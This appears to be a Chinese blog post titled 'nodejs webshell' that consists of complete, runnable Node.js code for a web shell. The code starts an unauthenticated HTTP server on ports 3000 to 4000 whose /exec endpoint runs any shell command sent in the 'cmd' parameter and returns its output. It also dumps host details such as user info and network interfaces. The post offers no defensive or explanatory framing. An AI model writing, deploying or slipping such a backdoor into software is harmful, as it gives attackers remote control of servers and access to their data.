nodejs webshell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 | const http = require( 'node:http' ); const url = require( 'node:url' ); const os = require( 'node:os' ); const { exec } = require( 'node:child_process' ); // 获取系统信息 function getSymInfo() { return { arch: os.arch(), cpus: os.cpus(), endianness: os.endianness(), freemem: os.freemem(), homedir: os.homedir(), hostname: os.hostname(), loadavg: os.loadavg(), networkInterfaces: os.networkInterfaces(), platform: os.platform(), release: os.release(), tmpdir: os.tmpdir(), totalmem: os.totalmem(), type: os.type(), uptime: os.uptime(), userInfo: os.userInfo(), }; } function startServer(portStart, portEnd) { const server = http.createServer((req, res) => { const parsedUrl = url.parse(req.url, true ); console.log(`Request path: ${parsedUrl.pathname}`); if (parsedUrl.pathname === '/exec' ) { const command = parsedUrl.query.cmd; if (command) { if (command.toLocaleLowerCase() === 'syminfo' ){ res.end(JSON.stringify(getSymInfo(), null , 2)); return ; } console.log(`Executing command: ${command}`); exec(command,{ maxBuffer: 1024 * 1024 * 10 }, (error, stdout, stderr) => { if (error) { res.end(`${error}`); return ; } if (stderr) { res.end(`Stderr: ${stderr}`); return ; } res.end(`Output: ${stdout}`); }); } else { res.end( 'cmd is null.' ); } } else { res.end( '' ); } }); server.on( 'error' , (error) => { if (error.code === 'EADDRINUSE' ) { console.log(`Port ${portStart} is in use, trying the next one...`); portStart++; if (portStart <= portEnd) { server.listen(portStart); } else { console.log(`All ports in the range ${portStart}-${portEnd} are in use.`); } } else { throw error; } }); server.listen(portStart); } startServer(3000,4000); |
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】凌霞软件回馈社区,博客园 & 1Panel & Halo 联合会员上线
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】博客园社区专享云产品让利特惠,阿里云新客6.5折上折
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· [翻译] 为什么 Tracebit 用 C# 开发
· Deepseek官网太卡,教你白嫖阿里云的Deepseek-R1满血版
· 2分钟学会 DeepSeek API,竟然比官方更好用!
· .NET 使用 DeepSeek R1 开发智能 AI 客户端
· 刚刚!百度搜索“换脑”引爆AI圈,正式接入DeepSeek R1满血版